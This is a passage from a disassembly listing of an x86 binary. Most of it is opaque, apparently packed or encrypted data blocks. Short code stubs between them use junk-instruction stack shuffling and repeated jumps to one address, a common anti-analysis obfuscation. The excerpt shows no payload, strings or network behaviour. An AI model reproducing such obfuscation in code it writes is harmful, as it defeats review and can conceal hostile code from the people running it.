830FCB0Ah, 0BD01F978h, 9262246Eh, 867E382Eh dd 0DDF9BF38h, 0A53C3BACh, 0A573F2E3h, 139F5D04h, 0C33372F7h dd 7605F11Bh, 114E8E75h, 4F5389C8h, 7FF059D8h, 96FC181Ch dd 0FA6500D9h, 198EB1FFh, 3E4633A5h, 914B59Eh, 63CFA7A1h dd 0B3323579h, 18FA2516h, 1142E7FCh, 0C0FC18FAh, 3790EF6Bh dd 0A3E9EE53h, 0FA43FF58h, 0EE58FC18h, 563E9316h, 51ED3A04h dd 0D1000000h, 68FF696Eh, 0F95F37FFh, 6FCBCC2Ch, 2B6A1EEh dd 56E9B6D5h, 4DFC1892h, 29E42B1Bh, 863A043Eh, 1, 28666EB8h dd 8DBCE9AFh, 39E1221Ch, 0D55177CEh, 0F9315A4Fh, 5EE5C6F0h dd 40DBDF17h, 0B5D0D601h, 4BB78FC9h, 0BE830F8Bh, 69577339h dd 0C98A2FAEh, 3FC18B9h, 18B9B5A6h, 0B176CFCh, 810DCD3Ch dd 69E8F17Ah, 94DF2E74h, 62252460h, 88933478h, 0FF0E9449h dd 0EC3F8574h, 0FFBD386Fh, 0D0A4E6ACh, 0D4A00A68h, 410D31A6h dd 7CFC930Eh, 63F7E46Bh, 185C95C6h, 41F257FCh, 90FC185Ch dd 8BC0BFDBh, 9E1D0394h, 0EE361D12h, 6D7E3CBBh, 890FC8B9h dd 2D420196h, 5F038875h, 7C7CE78Eh, 6F6AD530h, 5B9BDA21h dd 67E7CC5Fh, 91D7298Fh, 41BF62A5h, 7A0C3A04h, 36000000h dd 20276D6Eh, 0E8449BB7h, 41BA3B1Bh, 9EA50673h, 681FA357h dd 0DCEDB129h, 0BB8BCDB1h, 9A008E4Fh, 766236A7h, 2D9AD32Ah dd 5A6097DEh, 565A80C3h, 424E8C37h, 45317B3Bh, 0CDD02E2Fh dd 572C595h, 0E59165E3h, 786139A2h, 3562EB32h, 3F4B9694h dd 4C803A04h, 1000000h, 5413F388h, 3A8300F8h, 276D6E4Ch dd 535F9DC4h, 8E66E0C8h, 9A3FBB20h, 0FC18B9D9h, 0D8C63308h dd 22666E12h, 0B9C07EDBh, 9F0FC18h, 0FBE160BBh, 6C2E54B7h dd 59C82098h, 4CDFE516h, 0C0B4BE0Fh, 4139449h, 13B3Ah dd 6E0F0000h, 6023266Ah, 67D43775h, 43B43F46h, 9ED82645h dd 1CA058A6h, 26E673F6h, 0D359C10Eh, 0BECDCB0Ch, 0EE7C03Dh dd 7B3A2D01h, 63E8337Fh, 0F072D75Ah, 2301FAEDh, 5944D554h dd 0F263C469h, 23F9FAC3h, 58CFC354h, 237A46B2h, 6DCA7DAAh dd 0F9FA21ECh, 0D67D4E25h, 0A62C6A6Fh, 5E9A16C3h, 0EF48CB52h dd 0F9FA216Eh, 2693C8A7h, 5607A023h, 8FF9FA21h, 50C17B0h dd 0D4CA9242h, 8F1F77B4h, 0AB207BB0h, 2BB6C912h, 7BEDF9FAh dd 0FCBA3F8Bh, 0BCF0A4Dh, 0FA2BADAEh, 0D20F64F9h, 0AB2C1D09h dd 0E4ED7AEDh, 1B439FBFh, 1150FBCCh, 2B5BA2E8h, 0C689B581h dd 0E318A0Eh, 1D5CC3C9h, 80B116DAh, 51F9FAB1h, 0E1CAD1Ah dd 0E61BCD00h, 11C623Fh, 6AFF0000h, 70A7C0E4h, 0AC9A2303h dd 0E71B39AEh, 4BC4B00Ch, 0B094B972h, 0C2DA28B1h, 463D01FAh dd 7D3BBC27h, 0A1E71051h, 0F54EDB5Ah, 5B6194E0h, 6299D932h dd 0DBE11659h, 0BC883240h, 8703894Eh, 2877F562h, 0FF0E9246h dd 50DDD7Eh, 9D90818Ah, 4488D3A3h, 6C0AC763h, 44A13FE6h dd 85000000h, 0D2557918h, 18B91475h, 97F64DFCh, 612DADECh dd 6C6ED11Ah, 3790C520h, 18B96DEEh, 0DB9A1DFCh, 0C80D981Eh dd 457F77FFh, 8C7936DAh, 78119740h, 13486793h, 35ACB6Ch dd 0BC8BFC18h, 7CB316h, 18CB0000h, 51D0577Bh, 817FE9EEh dd 0A5939E6Eh, 0CB44A71Ch, 27518DEAh, 2EBFF456h, 0FA19B5C5h dd 10176C01h, 5D074891h, 61DEF9FAh, 6C971BE8h, 20B9AA1Eh dd 951DDA05h, 8AC35A68h, 7F0B15Dh, 671D7A81h, 3CF9FA33h dd 0BCC3A0Ah, 0C956018Dh, 7AC562E5h, 9307E0BEh, 0D91E41A4h dd 0EFEDACD3h, 0CA1358A3h, 4DDA47A3h, 2985C9BAh, 450DDE2Bh dd 0FAEE7371h, 3C9FE247h, 0B9F609CEh, 7B18571Dh, 0B93B3C9Dh dd 9DEAFC18h, 39982120h, 5C020234h, 9C5D84E7h, 0A2A5E314h dd 0F1C25405h, 79B68DF9h, 0ADEBEC5Dh, 0BD01FBBAh, 0B1DCED6Eh dd 3FB325E8h, 6A38A36Dh, 6127D013h, 764EE81Ah, 0AD85B2DEh dd 40BD4F16h, 9DDC5FC2h, 4C0D5E5Ch, 858EBF6Bh, 61551DAEh dd 38A6E415h, 170A9049h, 0C019A754h, 0FDBB3AA5h, 2E0640AEh dd 759117C0h, 4644B5F4h, 2A15B627h, 0EF78EFADh, 259B5DDCh dd 0BEC5E666h, 3D7h, 9DA7EF00h, 0D92C686Eh, 0C05B6196h dd 34575B81h, 25404E8Dh, 287341BAh, 1F6E34A9h, 9B21D4h dd 769519C1h, 788307CFh, 25CF68F2h, 14890000h, 63786824h dd 2C890000h, 4DC96824h, 34890000h, 4BBF5724h, 0BD57CB6Fh dd 5DB4EA86h, 3C8BFD29h, 4C48324h, 24348B54h, 4C481h, 0E9680000h dd 8900006Fh, 8B82404h, 1000000h, 582889F0h, 5324348Bh dd 0C381E389h, 4, 4C381h, 1C870000h, 2C8B5C24h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_4F5CCB ; --------------------------------------------------------------------------- db 37h, 10h, 0C9h dd 450E386Fh, 0E6D034AAh, 0B8292001h, 5E9802Ah, 0E0FFC503h dd 2D0135F5h, 3666B34Bh, 0B5A605Ah, 4CEADFD8h, 48189051h dd 0D1EAD21h, 81B58D8Dh, 6A05E9h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 790131C3h, 0B634C0C8h dd 0B58B1928h, 5E21B31h, 0BE98D89h, 8B6605E2h, 6DB58BF3h dd 0C705E20Bh, 0E2076185h, 5F9405h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 89E6C86Fh dd 0CE1D73FDh, 4890Fh, 0BE660000h, 9D8B0120h, 5E21739h dd 1B5585C7h, 5E2h, 8D290000h, 5E216FDh, 2361B5FFh, 6A05E2h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 0FFFF77C3h, 0E20B1595h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 8BB39CF3h dd 8BC082F0h, 0E2245D95h, 0FF006A05h, 0E20AB995h, 0EBC08B05h dd 0EDCC9228h, 0A3F3071h, 0C00A6A83h, 0F5BFC366h, 0F651A705h dd 0E742FEEAh, 50E7FF7Dh, 0D97430A0h, 532A43A2h, 0B6C2D9D4h dd 9D04EB7Eh, 0E93A62D4h, 513h, 0B5515583h, 1E8400F4h dd 0E7E3AF2Bh, 49555382h, 11BD03F8h, 39A2FB9Ah, 0DF1A6F6Bh dd 867435D1h, 2CAD9C3Ah, 57C606Eh, 0F138B3A4h, 0FB2362F9h dd 0ACEAEFAEh, 0E5A3541Bh, 1546E362h, 0CCFC18B9h, 84CF5677h dd 3C4D4957h, 0E8337F7Dh, 0E2175A63h, 8584A678h, 3A778100h dd 317760E3h, 2F6B6BEAh, 90D356DCh, 0DA84256Bh, 0C6CB5CEAh dd 23A6FDD3h, 24D59C2Dh, 0D3097866h, 0E11958CFh, 0BC0D4EDDh dd 5D619BEEh, 4E5487CEh, 39AED33Fh, 3D2C877Bh, 99C11A80h dd 179B41ADh, 7B41B68Bh, 0D90245C4h, 223BB0CBh, 0FC18CA31h dd 77F841E0h, 0AEFC18CAh, 384364D1h, 18CA235Fh, 0B68E38FCh dd 4869E73h, 5B0D3Ah, 6E310000h, 7FD82369h, 0FC18B9C0h dd 129561E7h, 3A0413BFh, 16Ch, 666E5600h, 6CEDB328h, 3AADC4D6h dd 59AC1943h, 0A7DADE16h, 0E6E09B32h, 18FA1041h, 0E16AC1FCh dd 20B90812h, 571BDA05h, 186241F2h, 6EDB90FCh, 6155171Fh dd 39A5E115h, 66C38F48h, 0FC1862F5h, 0FC1A572Ch, 276D6EF6h dd 0FCFEA120h, 47E055B0h, 0FC18B916h, 0CC5770CFh, 3A9F5185h dd 0FC18B939h, 0C72693E8h, 0CD390DAFh, 25048210h, 0B7FDFCB4h dd 38A0237Ah, 27307C7Eh, 35F75478h, 4AD10EADh, 0AAD8AC2Ah dd 5EADF1EBh, 73BECC1Dh, 0DA3A0445h, 0DDE3185Bh, 1887CB8Ch dd 3A2D1AFCh, 1887DC9Dh, 0AD3E75FCh, 6D60h, 6D6E5A00h dd 5D9DC427h, 0E48CA51h, 8E490836h, 6F78FD08h, 29B5FBE0h dd 0DDC1A358h, 536E5EF8h, 0E2ADF835h, 167539A3h, 9A5D04A5h dd 0AB2A6D1Ch, 2FB1DCEDh, 87AADDA9h, 0C43A04A1h, 57h, 0ED6D6EFEh dd 18B90B4Ch, 3A6DDAFCh, 9E81FEBAh, 5B44209h, 8C5DD2A6h dd 307C7EE1h, 714503D5h, 57CAD805h, 0FB08B8C2h, 0E7C02407h dd 666E2523h, 0C07EDB22h, 0D9FC18B9h, 7EEB976Fh, 0D326ABF9h dd 0CF7B4C23h, 3A04D112h, 0AB9h, 91A13600h, 0C695E2D6h dd 6EC1A506h, 0A023266Ah, 18B95607h, 0A7B08FFCh, 1BE07C83h dd 1C2780EAh, 76624D5h, 0D0E176BBh, 0BE7DA334h, 0E1D59D2Eh dd 10E61255h, 18DC86B7h, 0ABE05FFCh, 2A21C750h, 0C6B91D0Eh dd 0C9313089h, 66C342C5h, 0FC18D3F5h, 9076572Ch, 0FB5CBAA7h dd 0FC18D37Ah, 0E067DCABh, 0F3B93E61h, 319A23A8h, 1FAA731h dd 0D5948BE0h, 3A419A28h, 52783EBBh, 0BDACEAEFh, 93296C2Ch dd 0EFF89C2Fh, 0EC44FB44h, 2D1BF9FAh, 0AEECED59h, 16DE8120h dd 0F9C20B92h, 0CB318176h, 14978AC7h, 0FAEC82B3h, 0C3E453F9h dd 0FAC039B8h, 0DDA913A3h, 0A4226891h, 0E66823FEh, 0AE0B8A3Fh dd 0F9FAE0ADh, 71BE0F64h, 10Fh, 577B1875h, 276B91D0h, 7BFC5DC4h dd 0AAFC18B9h, 0D84760DDh, 0FADF037Fh, 8E1D6A01h, 8E149247h dd 85723EBBh, 3A77E407h, 317760E3h, 261E58EAh, 7D991FD8h dd 0E639DA37h, 44713Fh, 18750000h, 45D25579h, 4C1BB610h dd 0FF58CF07h, 0FC18957Eh, 800FD897h, 1895E627h, 0C5201FFCh dd 1895FB7Ch, 0DBAB93FCh, 0D3567619h, 18951576h, 0E51457FCh dd 0A3980EDFh, 18C38227h, 0E1FA738Ah, 8E9Eh, 7B18A400h dd 8E1D995Dh, 0C811104Dh, 1FAD2A6h, 0EE6FC879h, 27F9FAA0h dd 49881348h, 0BD8C0A90h, 7BE4A23Ch, 489BB797h, 95AF8813h dd 0CAF9FAF2h, 412FCE5Bh, 1B99800Ch, 547533A4h, 2BAC1AEAh dd 0D2297567h, 0BA3D2C99h, 0FAF15C1Dh, 2DBEF5F9h, 0FDD17E79h dd 734CED4Ah, 324507E0h, 4AC8CE7h, 136AA72Ah, 1A6127D0h dd 0C63275BCh, 0F72AA3FAh, 252DBE04h, 0DA8E9351h, 8C7102A7h dd 0C1A009C9h, 7AFB5C1Ch, 0ABEDAD80h, 0D70467DCh, 18767C9Ah dd 77D0577Bh, 2023BE6h, 28766524h, 0DB4F98DDh, 21D6196Ch dd 0CD0A7F9Bh, 589C14C5h, 5784E75Ch, 29A6831Ah, 0D83E4D8Eh dd 9F58A69Eh, 0DB4CFD19h, 8252D80Dh, 0B1B0095Dh, 783B4248h dd 0E1FAC039h, 0EA31777Eh, 0DD286E6Bh, 0B043F744h, 0C504F437h dd 55598117h, 3D2B8D18h, 0BDF9FD49h, 16B0ED6Eh, 6B2A582Ch dd 9EDF2E6Ch, 0D7D5024Dh, 3B8176CBh, 1581E0h, 0AEA50000h dd 0B9C98A2Fh, 2318FC18h, 0B9DA9B3Ch, 3C0BFC18h, 6E476DABh dd 96D92C68h, 81C05B61h, 8D34575Bh, 0BA25404Eh, 0A9287341h dd 0D41F6E34h, 0C1009B21h, 0CF769519h, 0F2788307h, 50E18951h dd 4B8h, 58C10100h, 8704E983h, 685C240Ch, 3ED4h db 89h, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push ebp mov ebp, 38C660D8h mov eax, 3EAFE2C5h sub eax, ebp mov ebp, [esp] add esp, 4 push esp mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], eax pop dword ptr [edi+8] push dword ptr [esp] pop edi add esp, 4 push dword ptr [esp] pop eax add esp, 4 jmp loc_4F5CCB ; --------------------------------------------------------------------------- db 84h, 0C7h, 4Bh dd 3D78630Ch, 436134E1h, 0B8630B73h, 5E98685h, 0E0FFC503h dd 0FF8F247h, 7101832Dh, 0B5BA000h, 0F2F1029h, 1ED5EEFAh dd 6AE7C621h, 1485DC20h, 19961089h, 31085367h, 284BD3DDh dd 29CE74C4h, 26031015h, 6753CE96h, 441304EBh, 5BE959B7h dd 26000005h, 9BEEF4B0h, 0CEB35F5Bh, 2918860Ah, 9FE2E8AEh dd 3D4A505Eh, 0E944956h, 743AA180h, 0DDE11B6Eh, 1877031h dd 0FA8D985h, 0F9F13E4Eh, 6E5C9E87h, 59D82369h, 0B9C071D6h dd 0DCAFC18h, 53FF7C8Fh, 5F9CC3E4h, 0B93D3E9Bh, 9FD4FC18h dd 4205A422h, 0B1B00997h, 0B83B4248h, 6322793Fh, 0B91647E0h dd 70CFFC18h, 0A8ECE857h, 9F97D15Dh, 86B71093h, 44FC18B9h dd 18B972E3h, 4ED4A3FCh, 7069E8F1h, 13B4372Ah, 0FC18B922h dd 672384F3h, 75E643C2h, 0ACFC18B9h, 914BF6D7h, 3AA0810Dh dd 9F66F376h, 32F9CC1Dh, 0E8AE2B9Eh, 0CE0DB4DFh, 0D91E41C0h dd 0BA0348D3h, 390D3793h, 7830FCDh, 94F7B522h, 6F2DAAEDh dd 4779F55Eh, 0E462FC18h, 11449910h, 70E93A05h, 23FAA799h dd 2FB3A469h, 0F5BC6453h, 73D15E6Fh, 15000000h, 0D823696Eh dd 18B9C07Fh, 8F0BCEFCh, 0B23B4248h, 3ABF2645h, 2365297Ch dd 5593ED53h, 2144D561h, 0F18D0A1Eh, 0F4295D6Eh, 5B3A0453h dd 1, 22666E6Fh, 3D7B7C3Fh, 68EC6DEEh, 908C1F0Eh, 0E4AFB617h dd 0D893C465h, 0FF42FC18h, 6546B3F7h, 6FBEFAFAh, 3A25B324h dd 130A426Ah, 1647A6E4h, 964100D9h, 0CF89F510h, 4F4B8BF7h dd 0B3F9FE43h, 6D6E2917h, 599DC427h, 0E0BD2A5Dh, 8294BB5Dh dd 0A976928Bh, 4CB93F22h, 0DFA2D07Bh, 0CA515F9Ch, 463E3881h dd 5F10B938h, 0F6FC185Dh, 0BC2120B9h, 6099E8F6h, 0C140C35Ah dd 0F7505C9Eh, 0FC185D46h, 5807A09Fh, 67891CA0h, 4F9215E1h dd 0FC3A04F5h, 0A1h, 2ADEEC7Dh, 28647BA5h, 39AEAB9Fh, 5239C066h dd 0B1B00983h, 7C27464Ch, 7F300EBh, 0C0195266h, 3A9F5981h dd 0FC182839h, 5EC4CA33h, 2D51B4E1h, 0AE2F9B6Bh, 2D716B2Ah dd 18285B1Ch, 40BD8AFCh, 0A8F6E75Ah, 0A5E3125Dh, 0CCB83E46h dd 4A29845h, 6C373Ah, 31B00000h, 1822A7A8h, 0B8017EFCh dd 276D6EC2h, 367C6120h, 2C90BAD7h, 0A4095393h, 8C375E6Fh dd 4ADF424Eh, 1D8BC8B8h, 46EDFE04h, 4AD1DD1Fh, 0BECDD10Bh dd 6ED2A204h, 0F750D352h, 0FC186646h, 7C61A09Fh, 0D9AD9536h dd 0A422706Dh, 22666EBEh, 5A1BBC3Fh, 8BFC18B9h, 27002BBCh dd 0FC18B90Bh, 0ABDED610h, 3A041376h, 1D5h, 6A6EE900h dd 5B9CC726h, 0A1E0CE5Dh, 4540C628h, 2907DA2Ch, 0EAB1DA01h dd 2777AD3Ah, 5CB9AF80h, 0A89CC6E7h, 981EDB9Ah, 70FFC80Dh dd 82050488h, 0C3B5A603h, 176CFC18h, 18C30536h, 4667DCFCh dd 0A68A9740h, 0B76406A3h, 0A09F01FAh, 0DFDD1A45h, 3894E33h dd 3E008B1Ch, 7DF58247h, 0C978C16Ch, 9EF9FA55h, 696EDCA8h dd 15C2A723h, 2E119097h, 5586E5ABh, 0FA5543F4h, 4A592F9h dd 0B101F679h, 0B13A4145h, 3ABE2144h, 2FAC1776h, 0B4B21A61h dd 0B03A78C0h, 3B8176C4h, 0FF3C919Fh, 29933FE6h, 0D7000001h dd 0D0577B18h, 0B9470851h, 0A19EFC18h, 97169918h, 0C29B21D4h dd 0FC18B991h, 89D2EB40h, 1FADF35h, 5D84E75Ch, 0B1F01E9Ch dd 9CDF4248h, 8DCE5D5Bh, 29AE113Ch, 40EA1863h, 0CBD10674h dd 0B191C354h, 0DD68E6A6h, 0BD101E0Ch, 103FE69Bh, 3D074891h dd 61DEF9FAh, 42DB58h, 0AEEF0000h, 45A0EEEFh, 4AD1DF1Ah dd 3AF3D401h, 97303717h, 0FC18B976h, 0ECB5D0AFh, 0FC18B86Bh dd 0BF3A7661h, 0FE6184F1h, 0DE54B7FDh, 7350A89Ch, 56F9FBCBh dd 3556F376h, 6CFC18B8h, 8D568B17h, 6C000000h, 0D0577B18h dd 0FAD2E777h, 3A413E01h, 1E5FF87Bh, 37F9FAA0h, 0E33A8672h dd 0A5AC3D6Ah, 19687634h, 86B710E0h, 5FF9FAA0h, 0F750ABE0h dd 0F9FAA37Dh, 0CF08904Bh, 0C6099CC9h, 347E8D13h, 0A23E8272h dd 7562D0A4h, 5716AB37h, 0E8C11AA0h, 67C0476Bh, 7E05A0Dh dd 0B1F00B60h, 0BDEFAE18h, 35966AD1h, 0BCCFCD0Ah, 9F3C535h dd 0B8F56685h, 0B5F3E26Dh, 0F6CE8856h, 463E3882h, 7F71818Eh dd 34C69014h, 0CC6D1C49h, 9C9AF70h, 3C3AA09Fh, 0D0577B18h dd 2403D77h, 801B5002h, 0F4129841h, 274644B5h, 9E05365Ah dd 0D4D8025Dh, 0C6CA0EB1h, 0FDBB3CA7h, 0C1370F49h, 1F2B1B5Dh dd 891C985Ch, 3F47B4Ch, 0AF281985h, 0A45392E9h, 313B87E6h dd 0BA00F945h, 8515C487h, 0CC1D4A58h, 0E26E6BDEh, 50E91445h dd 3976CD9Eh, 383E2h, 0A7BB0000h, 2C686E9Dh, 5B6196D9h dd 575B81C0h, 404E8D34h, 7341BA25h, 6E34A928h, 9B21D41Fh dd 9519C100h, 8307CF76h, 5F68F278h, 89000057h, 0E2892414h dd 4C281h, 0EA830000h, 24148704h, 3EE4685Ch, 1C890000h dd 61196824h, 14890000h, 0E9685224h, 5A351841h, 0F281DAF7h dd 0CF0E395Fh, 148BD389h, 4C48124h, 54000000h, 8124148Bh dd 4C4h, 4815300h, 6B76C124h, 8428F2Bh, 2A6BD55h, 0EDC17F77h dd 81D5F708h, 0BA330DF5h, 0B1C58106h, 0F714E75Bh, 9EF581DDh dd 29DAB69Eh, 0FF5D086Ah, 815A2434h, 4C4h, 2434FF00h, 4C4815Bh dd 0E9000000h, 0FFF8F37Bh, 0A39BEB62h, 0DFB23A56h, 7B81A9Eh dd 305E98Ch, 0DFE0FFC5h, 2E5529A0h, 4D299758h, 0EE13F94Eh dd 594BD2EEh, 0DA51731Ah, 2D0B607Eh, 154393AAh, 0C52BC2B5h dd 5122B69Dh, 841C0F39h, 0F6630008h, 0E765B3B3h, 0EB3B97BCh dd 0F0EE104h, 4B8E90Dh, 53850000h, 0FEF64B57h, 0AD2D1CBAh dd 5184E5E1h, 1FA4F4Bh, 0F99817B3h, 6D6937A4h, 0CBD7DD1Ch dd 92388476h, 666C2AAFh, 0B1A2077Eh, 60F9F135h, 696EF93Dh dd 6499D823h, 8F1B05Eh, 0FFF87B82h, 0C4F72B65h, 0C431D546h dd 0F2B63EA1h, 0D5A1EBABh, 0AEF2E6A9h, 2DA5521Dh, 18B5CB8Ch dd 0B7B801FCh, 6EFC18B5h, 0C13E7511h, 0D9D71F5Eh, 0CA039A20h dd 0FCCD0E9Dh, 1DA15B2Eh, 464AB0F1h, 773DBC27h, 0B480CA14h dd 82089446h, 297C3ABFh, 18B53240h, 0C5B137FCh, 41F8F42h dd 793C3Ah, 6E060000h, 59D82369h, 0B9C071D6h, 5A11FC18h dd 0B9093881h, 0C037FC18h, 0B820A3FAh, 14791F4h, 33B5C335h dd 1311CC43h, 1BE3A04h, 80000000h, 0A7EBEFAEh, 1F9B5B06h dd 0A502858Ch, 0FC18B9B4h, 1B0CA6Dh, 1A579193h, 0A1551CADh dd 5AA1EDEFh, 1E41A411h, 0C84AD1D7h, 8C48B68Eh, 28801908h dd 0D567172Eh, 880EC938h, 3BEFF87Dh, 8F0B9146h, 1D5EFB7Ah dd 34FC18E7h, 6E986E7Fh, 5DC4276Dh, 0DDEDA1Ah, 0F7169242h dd 0BD09FD7Fh, 15547240h, 1C47A6E4h, 3851D0DCh, 0F95E4FD7h dd 0FC182A78h, 2AB9D2A9h, 7D18A16Dh, 6EA195D3h, 3A04C7C3h dd 5A08h, 6D6E3200h, 5D9DC427h, 0E48CA51h, 8D13C836h, 0F5BB2001h dd 0E2A82F96h, 13A1589Bh, 0A904988h, 572F19F3h, 0DF9E9FE1h dd 1499218h, 112FF235h, 589C3A04h, 0A6000000h, 0C4276D6Eh dd 0DEDA1A5Dh, 0B2BD0E4Fh, 0D7214448h, 0A459A591h, 0D871F01Eh dd 0CEAC53BBh, 2B7763A4h, 6E19EDFEh, 58DB2266h, 0B217E119h dd 0FC18B981h, 5FAE1B50h, 0CE64CD1Eh, 0D3FC18B9h, 0B36EA195h dd 1A3A0413h, 0C4C67B8Dh, 8CF3E408h, 0B724474Dh, 1E916h dd 6EDD0000h, 0A023266Ah, 18B95607h, 349C82FCh, 395809Fh dd 0F49F2807h, 0FF0E8C4Dh, 115D2913h, 35A2A5E9h, 8A26B96Dh dd 0A1063928h, 0FC1802B0h dd 0D5B10A61h, 0C374D554h, 12FC1802h, 0A6AB8425h, 1FDC9F82h dd 0F8C10A91h, 766E10B9h, 768101FAh, 0FEC7AE4Ch, 69CE7189h dd 0F9FA21E8h, 0F6154239h, 860C8A4Fh, 0F17036A3h, 3E8E2D58h dd 7D4EC485h, 94F689D6h, 0BBADF9FAh, 3C7A7FCBh, 6026D396h dd 951DDA05h, 89C25965h, 33B5C95Ch, 8402F743h, 40BD101Eh dd 123FE6h, 54000001h, 568B7B18h, 0B769EDB5h, 0AFEE91CEh dd 2E72662Ah, 0A9E8F1h, 1FAA3B2h, 0D41F6EC5h, 8796523h dd 1756C9CFh, 0B40DBDFh, 0AF28ABB2h, 52F776E9h, 0F9FA1BE1h dd 0DB627B30h, 0C93501ABh, 60C8A10h, 3FE6B5CBh, 4F60h dd 39AE5A00h, 84D4D753h, 0D3DF1D5Ch, 0F5D60348h, 0D8ED153Ch dd 0B19EA32Eh, 0B6D5D903h, 0EC93C805h, 1839DA4Bh, 198710FCh dd 9715C08Ah, 0D956C774h, 0F511AABBh, 51026FBEh, 39FC188Ch dd 808F4531h, 8B1CBDACh, 3AFC188Ch, 6800414Dh, 3A000000h dd 0D0577B18h, 0FAD2E777h, 3A413E01h, 52783EBBh, 59ACEAEFh dd 0FAA344F0h, 572F19F9h, 7C74EEEBh, 0DDEF9374h, 944743B8h dd 3A4DB8Fh, 7E0450Ch, 74FCFBBAh, 0D32962D3h, 8FC4B3F7h dd 9D5EFF7Ch, 1567BAE3h, 0F443C7E0h, 0E3A92E91h, 1B5CFD7Ch dd 0CAF7D367h, 0F9C16C7Dh, 0C04D877Fh, 0C5DC7DECh, 6809C998h dd 18C9F713h, 77D0577Bh, 2024698h, 2E746726h, 0EB32099Dh dd 36296F68h, 0AD3E8477h, 494F88F9h, 0D5E95532h, 0FCFB0116h dd 0F7E46FBEh, 147733A3h, 0E3136AA7h, 170B6D59h, 9127D392h dd 92DB2268h, 0EADA8425h, 2A5D5B9Ch, 9B2C726Bh, 7F3DBA8Fh dd 0B922652Ch, 686FD2EBh, 75FFDB22h, 0C6C43581h, 0EEE6A9D8h dd 7FC653AAh, 92B2C7Eh, 470AD308h, 0D2D61E92h, 52D5024Bh dd 6A7E313h, 1D147Fh, 0D2950000h, 4809AE28h, 99F2C8A3h dd 0C23275A2h, 0AE01E5C6h, 0B9C98A2Fh, 2318FC18h, 6E541E9Ah dd 96D92C68h, 81C05B61h, 8D34575Bh, 0BA25404Eh, 0A9287341h dd 0D41F6E34h, 0C1009B21h, 0CF769519h, 0F2788307h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push 4317h mov [esp], ecx push 18C7h mov [esp], edi push edi mov edi, 5E98CEBh mov ecx, edi mov edi, [esp] add esp, 4 push esp mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], ecx pop dword ptr [edi+8] mov edi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_4F5CCB ; --------------------------------------------------------------------------- dw 0D1Fh dd 169AD9BCh, 0F7BC8304h, 21B89C61h, 305E991h, 0C3E0FFC5h dd 6B1011CCh, 340517C9h, 332B53AEh, 0CD30A866h, 0D21EB53Fh dd 5C7F1652h, 0D9534A33h, 7A668014h, 8262B85Eh, 0F26671E5h dd 1F56858Dh, 286211D0h, 0B831471Eh, 6334A109h, 0C4278D02h dd 433DD446h, 0EB163F46h, 10h, 3 dup(0) dd 6AC08B00h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 59B5C357h, 8DB81257h, 0F8B22C60h dd 1C958589h, 0BD8305E2h, 5E21EA9h, 83097500h, 0E21805BDh dd 19740005h, 0C08B5350h, 42DB8h, 5D858900h, 8D05E231h dd 0E4B2FA9Dh, 5BD3FF05h, 5BD8358h, 5E218h, 53501774h dd 42DB8h, 5D858900h, 8D05E231h, 0E4AFE99Dh, 5BD3FF05h dd 11E958h, 88C00000h, 534190D6h, 0E58D8735h, 0C6D6F655h dd 6A4F12ACh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 0BD9C351h, 0C08B45C1h, 13E8h dd 9189E200h, 90CDD929h, 2ECC59Eh, 0FB98BC16h, 0D2111F3h dd 7EF6805Eh, 17DD8D8Bh, 0BD8905E2h, 5E2156Dh, 0F00F983h dd 6984h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 64C4F5FCh, 2C3D8Bh, 958B0000h, 5E223C1h dd 840FFF0Bh, 36h, 6359D89h, 3F8B05E2h, 5A9B58Bh, 0FE805E2h dd 0AA000000h, 0AB477243h, 0A79C2721h, 2A333B5Eh, 0FCBAECE3h dd 5A574E36h, 0BA66C032h, 0AAF3378Dh, 0B45B58Bh, 493505E2h dd 0E9535041h, 0Eh, 0EB59D17Eh, 6CEF46A8h, 2A1658A2h, 0BD897468h dd 5E22395h, 0A4985C6h, 6A4705E2h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0B964C355h dd 47A9E4ADh, 36D9F028h, 60F7B70Fh, 9C5B501h, 0AE905E2h dd 0A000000h, 0E9CEAE81h, 2B047E32h, 4E861BEh, 2C000000h dd 60DCD688h, 28A0Fh, 5F520000h, 0DE9h, 27962100h, 0CBEFBBBBh dd 0DEF0F7C5h, 5061255Ch, 0FE9h, 0A9189C00h, 0E79B5FF3h dd 88C7FBBCh, 0C42209D7h, 424448Bh, 5A04B250h, 0DE9008Bh dd 0CD000000h, 0DD275809h, 8B90C004h, 4CD3E35Fh, 4244489h dd 58D18B66h, 870Fh, 800F0000h, 0Ch, 68F0Fh, 820F0000h dd 0 dd 16A1B5FFh, 6A05E2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 6057BAC3h, 15C58D0Bh, 0BD8905E2h dd 5E22D2Dh, 0F2816061h, 2C31607Fh, 6890Fh, 852B0000h dd 5E224E1h, 61858D61h, 6A05E57Ah, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0C8FCC355h dd 2B2E55EDh, 786E8808h, 66A4E280h, 0D0FFD78Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0E6C35646h, 99858934h dd 6605E20Ah, 4502EE81h, 0A4985C6h, 515305E2h, 23799D89h dd 685A05E2h, 968AD4F7h, 3481F38Bh, 12BE0B24h, 8195291Eh dd 0FF05E232h, 0E216A1B5h, 